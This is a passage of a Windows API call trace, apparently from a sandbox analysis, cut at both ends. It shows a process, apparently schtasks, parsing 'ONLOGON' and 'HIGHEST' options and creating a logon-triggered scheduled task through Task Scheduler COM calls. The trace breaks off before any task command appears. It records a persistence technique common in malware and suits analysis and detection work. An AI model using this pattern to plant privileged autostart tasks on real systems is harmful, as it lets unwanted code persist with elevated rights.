_ArgList=0xb30e32c708 | out: _Buffer="|i|") returned 3 [0115.128] _vsnwprintf (in: _Buffer=0x2946474ac30, _BufferCount=0x4, _Format="|%s|", _ArgList=0xb30e32c708 | out: _Buffer="|f|") returned 3 [0115.128] lstrlenW (lpString="|i|") returned 3 [0115.129] lstrlenW (lpString="|f|") returned 3 [0115.129] StrStrIW (lpFirst="|i|", lpSrch="|f|") returned 0x0 [0115.129] RtlRestoreLastWin32Error () returned 0xb30e472000 [0115.129] lstrlenW (lpString="tn") returned 2 [0115.129] lstrlenW (lpString="tn") returned 2 [0115.129] _memicmp (_Buf1=0x29464743930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0115.129] _memicmp (_Buf1=0x2946474ab90, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0115.129] _vsnwprintf (in: _Buffer=0x29464743950, _BufferCount=0x5, _Format="|%s|", _ArgList=0xb30e32c708 | out: _Buffer="|tn|") returned 4 [0115.129] _vsnwprintf (in: _Buffer=0x2946474ac30, _BufferCount=0x4, _Format="|%s|", _ArgList=0xb30e32c708 | out: _Buffer="|f|") returned 3 [0115.129] lstrlenW (lpString="|tn|") returned 4 [0115.129] lstrlenW (lpString="|f|") returned 3 [0115.129] StrStrIW (lpFirst="|tn|", lpSrch="|f|") returned 0x0 [0115.129] RtlRestoreLastWin32Error () returned 0xb30e472000 [0115.129] lstrlenW (lpString="tr") returned 2 [0115.129] lstrlenW (lpString="tr") returned 2 [0115.129] _memicmp (_Buf1=0x29464743930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0115.129] _memicmp (_Buf1=0x2946474ab90, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0115.129] _vsnwprintf (in: _Buffer=0x29464743950, _BufferCount=0x5, _Format="|%s|", _ArgList=0xb30e32c708 | out: _Buffer="|tr|") returned 4 [0115.129] _vsnwprintf (in: _Buffer=0x2946474ac30, _BufferCount=0x4, _Format="|%s|", _ArgList=0xb30e32c708 | out: _Buffer="|f|") returned 3 [0115.129] lstrlenW (lpString="|tr|") returned 4 [0115.129] lstrlenW (lpString="|f|") returned 3 [0115.129] StrStrIW (lpFirst="|tr|", lpSrch="|f|") returned 0x0 [0115.129] RtlRestoreLastWin32Error () returned 0xb30e472000 [0115.129] lstrlenW (lpString="st") returned 2 [0115.130] lstrlenW (lpString="st") returned 2 [0115.130] _memicmp (_Buf1=0x29464743930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0115.130] _memicmp (_Buf1=0x2946474ab90, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0115.130] _vsnwprintf (in: _Buffer=0x29464743950, _BufferCount=0x5, _Format="|%s|", _ArgList=0xb30e32c708 | out: _Buffer="|st|") returned 4 [0115.130] _vsnwprintf (in: _Buffer=0x2946474ac30, _BufferCount=0x4, _Format="|%s|", _ArgList=0xb30e32c708 | out: _Buffer="|f|") returned 3 [0115.130] lstrlenW (lpString="|st|") returned 4 [0115.130] lstrlenW (lpString="|f|") returned 3 [0115.130] StrStrIW (lpFirst="|st|", lpSrch="|f|") returned 0x0 [0115.130] RtlRestoreLastWin32Error () returned 0xb30e472000 [0115.130] lstrlenW (lpString="sd") returned 2 [0115.130] lstrlenW (lpString="sd") returned 2 [0115.130] _memicmp (_Buf1=0x29464743930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0115.130] _memicmp (_Buf1=0x2946474ab90, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0115.130] _vsnwprintf (in: _Buffer=0x29464743950, _BufferCount=0x5, _Format="|%s|", _ArgList=0xb30e32c708 | out: _Buffer="|sd|") returned 4 [0115.130] _vsnwprintf (in: _Buffer=0x2946474ac30, _BufferCount=0x4, _Format="|%s|", _ArgList=0xb30e32c708 | out: _Buffer="|f|") returned 3 [0115.130] lstrlenW (lpString="|sd|") returned 4 [0115.130] lstrlenW (lpString="|f|") returned 3 [0115.130] StrStrIW (lpFirst="|sd|", lpSrch="|f|") returned 0x0 [0115.130] RtlRestoreLastWin32Error () returned 0xb30e472000 [0115.130] lstrlenW (lpString="ed") returned 2 [0115.130] lstrlenW (lpString="ed") returned 2 [0115.130] _memicmp (_Buf1=0x29464743930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0115.130] _memicmp (_Buf1=0x2946474ab90, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0115.131] _vsnwprintf (in: _Buffer=0x29464743950, _BufferCount=0x5, _Format="|%s|", _ArgList=0xb30e32c708 | out: _Buffer="|ed|") returned 4 [0115.131] _vsnwprintf (in: _Buffer=0x2946474ac30, _BufferCount=0x4, _Format="|%s|", _ArgList=0xb30e32c708 | out: _Buffer="|f|") returned 3 [0115.131] lstrlenW (lpString="|ed|") returned 4 [0115.131] lstrlenW (lpString="|f|") returned 3 [0115.131] StrStrIW (lpFirst="|ed|", lpSrch="|f|") returned 0x0 [0115.131] RtlRestoreLastWin32Error () returned 0xb30e472000 [0115.131] lstrlenW (lpString="it") returned 2 [0115.131] lstrlenW (lpString="it") returned 2 [0115.131] _memicmp (_Buf1=0x29464743930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0115.131] _memicmp (_Buf1=0x2946474ab90, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0115.131] _vsnwprintf (in: _Buffer=0x29464743950, _BufferCount=0x5, _Format="|%s|", _ArgList=0xb30e32c708 | out: _Buffer="|it|") returned 4 [0115.131] _vsnwprintf (in: _Buffer=0x2946474ac30, _BufferCount=0x4, _Format="|%s|", _ArgList=0xb30e32c708 | out: _Buffer="|f|") returned 3 [0115.131] lstrlenW (lpString="|it|") returned 4 [0115.131] lstrlenW (lpString="|f|") returned 3 [0115.131] StrStrIW (lpFirst="|it|", lpSrch="|f|") returned 0x0 [0115.131] RtlRestoreLastWin32Error () returned 0xb30e472000 [0115.131] lstrlenW (lpString="et") returned 2 [0115.131] lstrlenW (lpString="et") returned 2 [0115.131] _memicmp (_Buf1=0x29464743930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0115.131] _memicmp (_Buf1=0x2946474ab90, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0115.131] _vsnwprintf (in: _Buffer=0x29464743950, _BufferCount=0x5, _Format="|%s|", _ArgList=0xb30e32c708 | out: _Buffer="|et|") returned 4 [0115.131] _vsnwprintf (in: _Buffer=0x2946474ac30, _BufferCount=0x4, _Format="|%s|", _ArgList=0xb30e32c708 | out: _Buffer="|f|") returned 3 [0115.131] lstrlenW (lpString="|et|") returned 4 [0115.131] lstrlenW (lpString="|f|") returned 3 [0115.132] StrStrIW (lpFirst="|et|", lpSrch="|f|") returned 0x0 [0115.132] RtlRestoreLastWin32Error () returned 0xb30e472000 [0115.132] lstrlenW (lpString="k") returned 1 [0115.132] lstrlenW (lpString="k") returned 1 [0115.132] _memicmp (_Buf1=0x29464743930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0115.132] _memicmp (_Buf1=0x2946474ab90, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0115.132] _vsnwprintf (in: _Buffer=0x29464743950, _BufferCount=0x4, _Format="|%s|", _ArgList=0xb30e32c708 | out: _Buffer="|k|") returned 3 [0115.132] _vsnwprintf (in: _Buffer=0x2946474ac30, _BufferCount=0x4, _Format="|%s|", _ArgList=0xb30e32c708 | out: _Buffer="|f|") returned 3 [0115.132] lstrlenW (lpString="|k|") returned 3 [0115.132] lstrlenW (lpString="|f|") returned 3 [0115.132] StrStrIW (lpFirst="|k|", lpSrch="|f|") returned 0x0 [0115.132] RtlRestoreLastWin32Error () returned 0xb30e472000 [0115.132] lstrlenW (lpString="du") returned 2 [0115.132] lstrlenW (lpString="du") returned 2 [0115.132] _memicmp (_Buf1=0x29464743930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0115.132] _memicmp (_Buf1=0x2946474ab90, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0115.132] _vsnwprintf (in: _Buffer=0x29464743950, _BufferCount=0x5, _Format="|%s|", _ArgList=0xb30e32c708 | out: _Buffer="|du|") returned 4 [0115.132] _vsnwprintf (in: _Buffer=0x2946474ac30, _BufferCount=0x4, _Format="|%s|", _ArgList=0xb30e32c708 | out: _Buffer="|f|") returned 3 [0115.132] lstrlenW (lpString="|du|") returned 4 [0115.132] lstrlenW (lpString="|f|") returned 3 [0115.132] StrStrIW (lpFirst="|du|", lpSrch="|f|") returned 0x0 [0115.132] RtlRestoreLastWin32Error () returned 0xb30e472000 [0115.132] lstrlenW (lpString="ri") returned 2 [0115.132] lstrlenW (lpString="ri") returned 2 [0115.132] _memicmp (_Buf1=0x29464743930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0115.133] _memicmp (_Buf1=0x2946474ab90, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0115.133] _vsnwprintf (in: _Buffer=0x29464743950, _BufferCount=0x5, _Format="|%s|", _ArgList=0xb30e32c708 | out: _Buffer="|ri|") returned 4 [0115.133] _vsnwprintf (in: _Buffer=0x2946474ac30, _BufferCount=0x4, _Format="|%s|", _ArgList=0xb30e32c708 | out: _Buffer="|f|") returned 3 [0115.133] lstrlenW (lpString="|ri|") returned 4 [0115.133] lstrlenW (lpString="|f|") returned 3 [0115.133] StrStrIW (lpFirst="|ri|", lpSrch="|f|") returned 0x0 [0115.133] RtlRestoreLastWin32Error () returned 0xb30e472000 [0115.133] lstrlenW (lpString="z") returned 1 [0115.133] lstrlenW (lpString="z") returned 1 [0115.133] _memicmp (_Buf1=0x29464743930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0115.133] _memicmp (_Buf1=0x2946474ab90, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0115.133] _vsnwprintf (in: _Buffer=0x29464743950, _BufferCount=0x4, _Format="|%s|", _ArgList=0xb30e32c708 | out: _Buffer="|z|") returned 3 [0115.133] _vsnwprintf (in: _Buffer=0x2946474ac30, _BufferCount=0x4, _Format="|%s|", _ArgList=0xb30e32c708 | out: _Buffer="|f|") returned 3 [0115.133] lstrlenW (lpString="|z|") returned 3 [0115.133] lstrlenW (lpString="|f|") returned 3 [0115.133] StrStrIW (lpFirst="|z|", lpSrch="|f|") returned 0x0 [0115.133] RtlRestoreLastWin32Error () returned 0xb30e472000 [0115.133] lstrlenW (lpString="f") returned 1 [0115.133] lstrlenW (lpString="f") returned 1 [0115.133] _memicmp (_Buf1=0x29464743930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0115.133] _memicmp (_Buf1=0x2946474ab90, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0115.133] _vsnwprintf (in: _Buffer=0x29464743950, _BufferCount=0x4, _Format="|%s|", _ArgList=0xb30e32c708 | out: _Buffer="|f|") returned 3 [0115.133] _vsnwprintf (in: _Buffer=0x2946474ac30, _BufferCount=0x4, _Format="|%s|", _ArgList=0xb30e32c708 | out: _Buffer="|f|") returned 3 [0115.133] lstrlenW (lpString="|f|") returned 3 [0115.133] lstrlenW (lpString="|f|") returned 3 [0115.133] StrStrIW (lpFirst="|f|", lpSrch="|f|") returned="|f|" [0115.133] RtlRestoreLastWin32Error () returned 0xb30e472000 [0115.133] RtlRestoreLastWin32Error () returned 0xb30e472000 [0115.134] GetProcessHeap () returned 0x29464740000 [0115.134] RtlAllocateHeap (HeapHandle=0x29464740000, Flags=0xc, Size=0x20) returned 0x2946474b540 [0115.134] _memicmp (_Buf1=0x29464744410, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0115.134] LoadStringW (in: hInstance=0x0, uID=0x20d, lpBuffer=0x2946474bbb0, cchBufferMax=256 | out: lpBuffer="LIMITED") returned 0x7 [0115.134] lstrlenW (lpString="LIMITED") returned 7 [0115.134] GetProcessHeap () returned 0x29464740000 [0115.134] RtlAllocateHeap (HeapHandle=0x29464740000, Flags=0xc, Size=0x10) returned 0x2946474ab50 [0115.134] GetThreadLocale () returned 0x409 [0115.134] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="HIGHEST", cchCount1=-1, lpString2="LIMITED", cchCount2=-1) returned 1 [0115.134] GetProcessHeap () returned 0x29464740000 [0115.134] RtlAllocateHeap (HeapHandle=0x29464740000, Flags=0xc, Size=0x20) returned 0x2946474b5a0 [0115.134] _memicmp (_Buf1=0x29464744410, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0115.134] LoadStringW (in: hInstance=0x0, uID=0x20e, lpBuffer=0x2946474bbb0, cchBufferMax=256 | out: lpBuffer="HIGHEST") returned 0x7 [0115.134] lstrlenW (lpString="HIGHEST") returned 7 [0115.134] GetProcessHeap () returned 0x29464740000 [0115.134] RtlAllocateHeap (HeapHandle=0x29464740000, Flags=0xc, Size=0x10) returned 0x2946474ac90 [0115.134] GetThreadLocale () returned 0x409 [0115.134] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="HIGHEST", cchCount1=-1, lpString2="HIGHEST", cchCount2=-1) returned 2 [0115.134] GetProcessHeap () returned 0x29464740000 [0115.134] RtlAllocateHeap (HeapHandle=0x29464740000, Flags=0xc, Size=0x20) returned 0x2946474ba80 [0115.134] _memicmp (_Buf1=0x29464744410, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0115.134] LoadStringW (in: hInstance=0x0, uID=0x1ae, lpBuffer=0x2946474bbb0, cchBufferMax=256 | out: lpBuffer="MINUTE") returned 0x6 [0115.134] lstrlenW (lpString="MINUTE") returned 6 [0115.135] GetProcessHeap () returned 0x29464740000 [0115.135] RtlAllocateHeap (HeapHandle=0x29464740000, Flags=0xc, Size=0xe) returned 0x2946474abb0 [0115.135] GetThreadLocale () returned 0x409 [0115.135] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="ONLOGON", cchCount1=-1, lpString2="MINUTE", cchCount2=-1) returned 3 [0115.135] GetProcessHeap () returned 0x29464740000 [0115.135] RtlAllocateHeap (HeapHandle=0x29464740000, Flags=0xc, Size=0x20) returned 0x2946474bb70 [0115.135] _memicmp (_Buf1=0x29464744410, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0115.135] LoadStringW (in: hInstance=0x0, uID=0x1af, lpBuffer=0x2946474bbb0, cchBufferMax=256 | out: lpBuffer="HOURLY") returned 0x6 [0115.135] lstrlenW (lpString="HOURLY") returned 6 [0115.135] GetProcessHeap () returned 0x29464740000 [0115.135] RtlAllocateHeap (HeapHandle=0x29464740000, Flags=0xc, Size=0xe) returned 0x2946474a950 [0115.135] GetThreadLocale () returned 0x409 [0115.135] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="ONLOGON", cchCount1=-1, lpString2="HOURLY", cchCount2=-1) returned 3 [0115.135] GetProcessHeap () returned 0x29464740000 [0115.135] RtlAllocateHeap (HeapHandle=0x29464740000, Flags=0xc, Size=0x20) returned 0x2946474bae0 [0115.135] _memicmp (_Buf1=0x29464744410, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0115.135] LoadStringW (in: hInstance=0x0, uID=0x1b0, lpBuffer=0x2946474bbb0, cchBufferMax=256 | out: lpBuffer="DAILY") returned 0x5 [0115.135] lstrlenW (lpString="DAILY") returned 5 [0115.135] GetProcessHeap () returned 0x29464740000 [0115.135] RtlAllocateHeap (HeapHandle=0x29464740000, Flags=0xc, Size=0xc) returned 0x2946474abd0 [0115.135] GetThreadLocale () returned 0x409 [0115.135] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="ONLOGON", cchCount1=-1, lpString2="DAILY", cchCount2=-1) returned 3 [0115.135] GetProcessHeap () returned 0x29464740000 [0115.135] RtlAllocateHeap (HeapHandle=0x29464740000, Flags=0xc, Size=0x20) returned 0x2946474ba50 [0115.135] _memicmp (_Buf1=0x29464744410, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0115.135] LoadStringW (in: hInstance=0x0, uID=0x1b1, lpBuffer=0x2946474bbb0, cchBufferMax=256 | out: lpBuffer="WEEKLY") returned 0x6 [0115.136] lstrlenW (lpString="WEEKLY") returned 6 [0115.136] GetProcessHeap () returned 0x29464740000 [0115.136] RtlAllocateHeap (HeapHandle=0x29464740000, Flags=0xc, Size=0xe) returned 0x2946474acb0 [0115.136] GetThreadLocale () returned 0x409 [0115.136] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="ONLOGON", cchCount1=-1, lpString2="WEEKLY", cchCount2=-1) returned 1 [0115.136] GetProcessHeap () returned 0x29464740000 [0115.136] RtlAllocateHeap (HeapHandle=0x29464740000, Flags=0xc, Size=0x20) returned 0x2946474bab0 [0115.136] _memicmp (_Buf1=0x29464744410, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0115.136] LoadStringW (in: hInstance=0x0, uID=0x1b2, lpBuffer=0x2946474bbb0, cchBufferMax=256 | out: lpBuffer="MONTHLY") returned 0x7 [0115.136] lstrlenW (lpString="MONTHLY") returned 7 [0115.136] GetProcessHeap () returned 0x29464740000 [0115.136] RtlAllocateHeap (HeapHandle=0x29464740000, Flags=0xc, Size=0x10) returned 0x2946474a930 [0115.136] GetThreadLocale () returned 0x409 [0115.136] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="ONLOGON", cchCount1=-1, lpString2="MONTHLY", cchCount2=-1) returned 3 [0115.136] _memicmp (_Buf1=0x29464744410, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0115.136] LoadStringW (in: hInstance=0x0, uID=0x1b3, lpBuffer=0x2946474bbb0, cchBufferMax=256 | out: lpBuffer="ONCE") returned 0x4 [0115.136] lstrlenW (lpString="ONCE") returned 4 [0115.136] GetProcessHeap () returned 0x29464740000 [0115.136] RtlAllocateHeap (HeapHandle=0x29464740000, Flags=0xc, Size=0xa) returned 0x2946474ab30 [0115.136] GetThreadLocale () returned 0x409 [0115.136] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="ONLOGON", cchCount1=-1, lpString2="ONCE", cchCount2=-1) returned 3 [0115.136] _memicmp (_Buf1=0x29464744410, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0115.136] LoadStringW (in: hInstance=0x0, uID=0x1b4, lpBuffer=0x2946474bbb0, cchBufferMax=256 | out: lpBuffer="ONSTART") returned 0x7 [0115.136] lstrlenW (lpString="ONSTART") returned 7 [0115.137] GetThreadLocale () returned 0x409 [0115.137] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="ONLOGON", cchCount1=-1, lpString2="ONSTART", cchCount2=-1) returned 1 [0115.137] _memicmp (_Buf1=0x29464744410, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0115.137] LoadStringW (in: hInstance=0x0, uID=0x1b5, lpBuffer=0x2946474bbb0, cchBufferMax=256 | out: lpBuffer="ONLOGON") returned 0x7 [0115.137] lstrlenW (lpString="ONLOGON") returned 7 [0115.137] GetThreadLocale () returned 0x409 [0115.137] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="ONLOGON", cchCount1=-1, lpString2="ONLOGON", cchCount2=-1) returned 2 [0115.137] RtlRestoreLastWin32Error () returned 0xb30e472000 [0115.137] GetProcessHeap () returned 0x29464740000 [0115.137] RtlAllocateHeap (HeapHandle=0x29464740000, Flags=0xc, Size=0x1fc) returned 0x2946474acf0 [0115.137] _memicmp (_Buf1=0x29464744410, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0115.137] LoadStringW (in: hInstance=0x0, uID=0x1d7, lpBuffer=0x2946474bbb0, cchBufferMax=256 | out: lpBuffer="First") returned 0x5 [0115.137] lstrlenW (lpString="First") returned 5 [0115.137] _memicmp (_Buf1=0x29464744410, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0115.137] LoadStringW (in: hInstance=0x0, uID=0x1d8, lpBuffer=0x2946474bbb0, cchBufferMax=256 | out: lpBuffer="Second") returned 0x6 [0115.137] lstrlenW (lpString="Second") returned 6 [0115.137] _memicmp (_Buf1=0x29464744410, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0115.138] LoadStringW (in: hInstance=0x0, uID=0x1d9, lpBuffer=0x2946474bbb0, cchBufferMax=256 | out: lpBuffer="Third") returned 0x5 [0115.138] lstrlenW (lpString="Third") returned 5 [0115.138] _memicmp (_Buf1=0x29464744410, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0115.138] LoadStringW (in: hInstance=0x0, uID=0x1da, lpBuffer=0x2946474bbb0, cchBufferMax=256 | out: lpBuffer="Fourth") returned 0x6 [0115.138] lstrlenW (lpString="Fourth") returned 6 [0115.138] _memicmp (_Buf1=0x29464744410, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0115.138] LoadStringW (in: hInstance=0x0, uID=0x1db, lpBuffer=0x2946474bbb0, cchBufferMax=256 | out: lpBuffer="Last") returned 0x4 [0115.138] lstrlenW (lpString="Last") returned 4 [0115.138] _memicmp (_Buf1=0x29464744410, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0115.138] LoadStringW (in: hInstance=0x0, uID=0x1d7, lpBuffer=0x2946474bbb0, cchBufferMax=256 | out: lpBuffer="First") returned 0x5 [0115.138] lstrlenW (lpString="First") returned 5 [0115.138] _memicmp (_Buf1=0x29464744410, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0115.138] LoadStringW (in: hInstance=0x0, uID=0x1d8, lpBuffer=0x2946474bbb0, cchBufferMax=256 | out: lpBuffer="Second") returned 0x6 [0115.138] lstrlenW (lpString="Second") returned 6 [0115.138] _memicmp (_Buf1=0x29464744410, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0115.138] LoadStringW (in: hInstance=0x0, uID=0x1d9, lpBuffer=0x2946474bbb0, cchBufferMax=256 | out: lpBuffer="Third") returned 0x5 [0115.138] lstrlenW (lpString="Third") returned 5 [0115.138] GetProcessHeap () returned 0x29464740000 [0115.138] GetProcessHeap () returned 0x29464740000 [0115.138] HeapValidate (hHeap=0x29464740000, dwFlags=0x0, lpMem=0x2946474ab30) returned 1 [0115.138] GetProcessHeap () returned 0x29464740000 [0115.138] RtlSizeHeap (HeapHandle=0x29464740000, Flags=0x0, MemoryPointer=0x2946474ab30) returned 0xa [0115.138] RtlFreeHeap (HeapHandle=0x29464740000, Flags=0x0, BaseAddress=0x2946474ab30) returned 1 [0115.138] GetProcessHeap () returned 0x29464740000 [0115.138] RtlAllocateHeap (HeapHandle=0x29464740000, Flags=0xc, Size=0xc) returned 0x2946474ac10 [0115.138] _memicmp (_Buf1=0x29464744410, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0115.139] LoadStringW (in: hInstance=0x0, uID=0x1da, lpBuffer=0x2946474bbb0, cchBufferMax=256 | out: lpBuffer="Fourth") returned 0x6 [0115.139] lstrlenW (lpString="Fourth") returned 6 [0115.139] _memicmp (_Buf1=0x29464744410, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0115.139] LoadStringW (in: hInstance=0x0, uID=0x1db, lpBuffer=0x2946474bbb0, cchBufferMax=256 | out: lpBuffer="Last") returned 0x4 [0115.139] lstrlenW (lpString="Last") returned 4 [0115.139] GetLocaleInfoW (in: Locale=0x400, LCType=0x21, lpLCData=0xb30e32c560, cchData=128 | out: lpLCData="0") returned 2 [0115.139] _memicmp (_Buf1=0x29464744410, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0115.139] LoadStringW (in: hInstance=0x0, uID=0x19c, lpBuffer=0x2946474bbb0, cchBufferMax=256 | out: lpBuffer="mm/dd/yyyy") returned 0xa [0115.139] lstrlenW (lpString="mm/dd/yyyy") returned 10 [0115.139] GetProcessHeap () returned 0x29464740000 [0115.139] GetProcessHeap () returned 0x29464740000 [0115.139] HeapValidate (hHeap=0x29464740000, dwFlags=0x0, lpMem=0x2946474ab50) returned 1 [0115.139] GetProcessHeap () returned 0x29464740000 [0115.139] RtlSizeHeap (HeapHandle=0x29464740000, Flags=0x0, MemoryPointer=0x2946474ab50) returned 0x10 [0115.139] RtlFreeHeap (HeapHandle=0x29464740000, Flags=0x0, BaseAddress=0x2946474ab50) returned 1 [0115.139] GetProcessHeap () returned 0x29464740000 [0115.139] RtlAllocateHeap (HeapHandle=0x29464740000, Flags=0xc, Size=0x16) returned 0x2946474abf0 [0115.139] GetLocaleInfoW (in: Locale=0x400, LCType=0x21, lpLCData=0xb30e32c580, cchData=128 | out: lpLCData="0") returned 2 [0115.139] _memicmp (_Buf1=0x29464744410, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0115.140] LoadStringW (in: hInstance=0x0, uID=0x19c, lpBuffer=0x2946474bbb0, cchBufferMax=256 | out: lpBuffer="mm/dd/yyyy") returned 0xa [0115.140] lstrlenW (lpString="mm/dd/yyyy") returned 10 [0115.140] GetProcessHeap () returned 0x29464740000 [0115.140] GetProcessHeap () returned 0x29464740000 [0115.140] HeapValidate (hHeap=0x29464740000, dwFlags=0x0, lpMem=0x2946474ac90) returned 1 [0115.140] GetProcessHeap () returned 0x29464740000 [0115.140] RtlSizeHeap (HeapHandle=0x29464740000, Flags=0x0, MemoryPointer=0x2946474ac90) returned 0x10 [0115.140] RtlFreeHeap (HeapHandle=0x29464740000, Flags=0x0, BaseAddress=0x2946474ac90) returned 1 [0115.140] GetProcessHeap () returned 0x29464740000 [0115.140] RtlAllocateHeap (HeapHandle=0x29464740000, Flags=0xc, Size=0x16) returned 0x2946474a970 [0115.140] GetLocalTime (in: lpSystemTime=0xb30e32c7b8 | out: lpSystemTime=0xb30e32c7b8*(wYear=0x7e7, wMonth=0x9, wDayOfWeek=0x2, wDay=0x13, wHour=0x11, wMinute=0xf, wSecond=0x26, wMilliseconds=0x206)) [0115.140] GetLocalTime (in: lpSystemTime=0xb30e32d1a8 | out: lpSystemTime=0xb30e32d1a8*(wYear=0x7e7, wMonth=0x9, wDayOfWeek=0x2, wDay=0x13, wHour=0x11, wMinute=0xf, wSecond=0x26, wMilliseconds=0x206)) [0115.140] lstrlenW (lpString="") returned 0 [0115.140] lstrlenW (lpString="") returned 0 [0115.140] lstrlenW (lpString="") returned 0 [0115.140] lstrlenW (lpString="") returned 0 [0115.140] lstrlenW (lpString="") returned 0 [0115.140] lstrlenW (lpString="") returned 0 [0115.140] lstrlenW (lpString="") returned 0 [0115.141] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0115.150] CoInitializeSecurity (pSecDesc=0x0, cAuthSvc=-1, asAuthSvc=0x0, pReserved1=0x0, dwAuthnLevel=0x1, dwImpLevel=0x3, pAuthList=0x0, dwCapabilities=0x0, pReserved3=0x0) returned 0x0 [0115.222] CoCreateInstance (in: rclsid=0x7ff685139e68*(Data1=0xf87369f, Data2=0xa4e5, Data3=0x4cfc, Data4=([0]=0xbd, [1]=0x3e, [2]=0x73, [3]=0xe6, [4]=0x15, [5]=0x45, [6]=0x72, [7]=0xdd)), pUnkOuter=0x0, dwClsContext=0x17, riid=0x7ff685139e78*(Data1=0x2faba4c7, Data2=0x4da9, Data3=0x4013, Data4=([0]=0x96, [1]=0x97, [2]=0x20, [3]=0xcc, [4]=0x3f, [5]=0xd4, [6]=0xf, [7]=0x85)), ppv=0xb30e32cf00 | out: ppv=0xb30e32cf00*=0x29464655740) returned 0x0 [0115.247] TaskScheduler:ITaskService:Connect (This=0x29464655740, serverName=0xb30e32cff0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), user=0xb30e32cfc0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), domain=0xb30e32cfa0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), password=0xb30e32cf80*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0)) returned 0x0 [0115.376] TaskScheduler:ITaskService:GetFolder (in: This=0x29464655740, Path=0x0, ppFolder=0xb30e32d0e0 | out: ppFolder=0xb30e32d0e0*=0x294646558f0) returned 0x0 [0115.381] TaskScheduler:ITaskService:NewTask (in: This=0x29464655740, flags=0x0, ppDefinition=0xb30e32d0b8 | out: ppDefinition=0xb30e32d0b8*=0x29464655970) returned 0x0 [0115.381] ITaskDefinition:get_Actions (in: This=0x29464655970, ppActions=0xb30e32d000 | out: ppActions=0xb30e32d000*=0x29464655a00) returned 0x0 [0115.381] IActionCollection:Create (in: This=0x29464655a00, Type=0, ppAction=0xb30e32d040 | out: ppAction=0xb30e32d040*=0x29464655e10) returned 0x0 [0115.382] IUnknown:Release (This=0x29464655e10) returned 0x1 [0115.382] IUnknown:Release (This=0x29464655a00) returned 0x1 [0115.382] ITaskDefinition:get_Triggers (in: This=0x29464655970, ppTriggers=0xb30e32cbb0 | out: ppTriggers=0xb30e32cbb0*=0x29464655cc0) returned 0x0 [0115.382] ITriggerCollection:Create (in: This=0x29464655cc0, Type=9, ppTrigger=0xb30e32cb98 | out: ppTrigger=0xb30e32cb98*=0x29464655ea0) returned 0x0 [0115.383] IUnknown:QueryInterface (in: This=0x29464655ea0, riid=0x7ff685138a30*(Data1=0x72dade38, Data2=0xfae4, Data3=0x4b3e, Data4=([0]=0xba, [1]=0xf4, [2]=0x5d, [3]=0x0, [4]=0x9a, [5]=0xf0, [6]=0x2b, [7]=0x1c)), ppvObject=0xb30e32cb90 | out: ppvObject=0xb30e32cb90*=0x29464655ea0) returned 0x0 [0115.383] IUnknown:Release (This=0x29464655ea0) returned 0x2 [0115.383] _vsnwprintf (in: _Buffer=0xb30e32cae0, _BufferCount=0x1f, 